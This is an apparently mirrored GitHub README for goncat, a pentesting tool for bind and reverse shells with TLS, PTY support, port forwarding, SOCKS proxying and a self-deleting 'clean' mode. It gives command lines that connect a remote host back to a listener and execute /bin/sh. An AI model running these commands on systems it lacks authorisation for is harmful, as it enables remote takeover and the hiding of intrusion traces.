GithubHelp home page GithubHelp logo

dominicbreuker / goncat Goto Github PK

View Code? Open in Web Editor NEW
9.0 4.0 1.0 97 KB

netcat-like CLI tool with advanced features for bind/reverse shells

License: GNU General Public License v3.0

Makefile 1.03% Go 98.97%
golang pentesting pty offsensive-security security bind-shell reverse-shell port-forwarding tunneling

goncat's Introduction

goncat

goncat is a netcat-like tool you can use to create bind or reverse shells, but designed to give you a more SSH-like experience. It contains a few extra features that I missed from netcat. First, goncat supports encryption with mutual authentication so you don't have to write on one page of your pentest report that administrative access to servers without encryption or authentication is a problem while writing on the next page how you did exactly that. Second, it has automatic cross-platform PTY support for your convenience. Third, it can be used for tunneling. For now it supports local and remote port forwarding as well as barebones SOCKS (TCP only, no authentication). Lastly, there are a few other convenience features such as session logging and automatic cleanup.

Disclaimer: please treat this tool as alpha. It is work an progress and may very well be turned upside down.

Install

Clone this repository and run make build to build binaries for Linux, Windows and MacOS. Downloads may be available in the release section once this tool is out of alpha and the interface is stable.

Getting started

Akin to netcat, goncat allows to bind a socket or can be used to connect to one. As with SSH, there is also a master and a slave side of the connection. The master specifies the parameters for a connection, and the slave operates accordingly. But master and slave behaviour is not tied to the client and server sides of the connection. You can turn either side into whatever you want. There is only one binary combining all features and it works cross-platform.

A few examples to illustrate basic use, which all assume a goncat binary exists on both your own machine and a remote one:

  • Reverse shell
    • On your machine: goncat master listen --port 12345 --exec /bin/sh to create a listener on port 12345 that will instruct the other end to execute /bin/sh.
    • Remote: goncat slave connect --host 11.22.33.44 --port 12345 to connect the remote side as a slave, which will execute /bin/sh.
  • Bind shell
    • Remote: goncat slave listen --port 12345 to listen in port 12345 for connections. The listener will do whatever a connecting master asks it to.
    • On your machine: goncat master connect --host 55.66.77.88 --port 12345 --exec /bin/sh to connect to the remote host and make it execute /bin/sh.

Advanced features can be enabled with additional flags:

  • Encryption: add --ssl on both ends to enable TLS
  • Authentication: add --key mypassword on both ends to ensure no unexpected clients can connect (requires --ssl)
  • PTY: as master, add --pty to get a fully interactive shell (make sure you also execute a shell with --exec)
  • Local port forwarding: as master, add -L 8443:google.com:443 to open a local port 8443 on the master side, any connection to it will be forwarded through the slave to google.com:443
  • Remote port forwarding: as master, add -R 8443:google.com:443 to open a local port 8443 on the slave side, any connection to it will be forwarded through the master to google.com:443
  • SOCKS proxy: as master, add -D 127.0.0.1:1080 to create a SOCKS proxy, through which you can use the slave side
  • Logging: as master, add --log /tmp/log.txt to log the session to a file
  • Cleanup: as slave, add --clean to make goncat delete itself after execution

A few Details

Encryption and authentication is implemented with (mutual) TLS. To save you the hassle of generating certificates, goncat does that for you. If you only enable --ssl you get encryption only. The server side generates a new certificate on each run of goncat ... listen. The client will accept any certificate without validation. If you additionally enable --key mypassword then your password will be used as a seed for the RNG used for certificate generation. Both client and server generate and validate the certificates (but ignoring host name of course).

Logging is implemented in a simple way. We just store all bytes send over the "main channel" to a file. Main channel refers to that you saw on the screen when using goncat, ignoring other data such as control messages required to sync master terminal size over to the slave when enabling PTY. However, bear in mind that the log still looks a bit strange with PTY enabled. I may find a better way in the future.

Lastly, a few notes on the cleanup feature. I don't like it when leftover files fly around when you are done with a machine. It is all too easy to forget deleting them. Thus you can tell the slave side to --clean up after itself. goncat will then attempt to delete itself before it terminates. This works well on many Linux machines, where you can just delete your own binary. On Windows things are a bit tricky. At the moment, goncat launches a seperate CMD-based job to delete the binary 5 seconds after termination.

goncat's People

Contributors

dominicbreuker avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

Forkers

terribledactyl

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.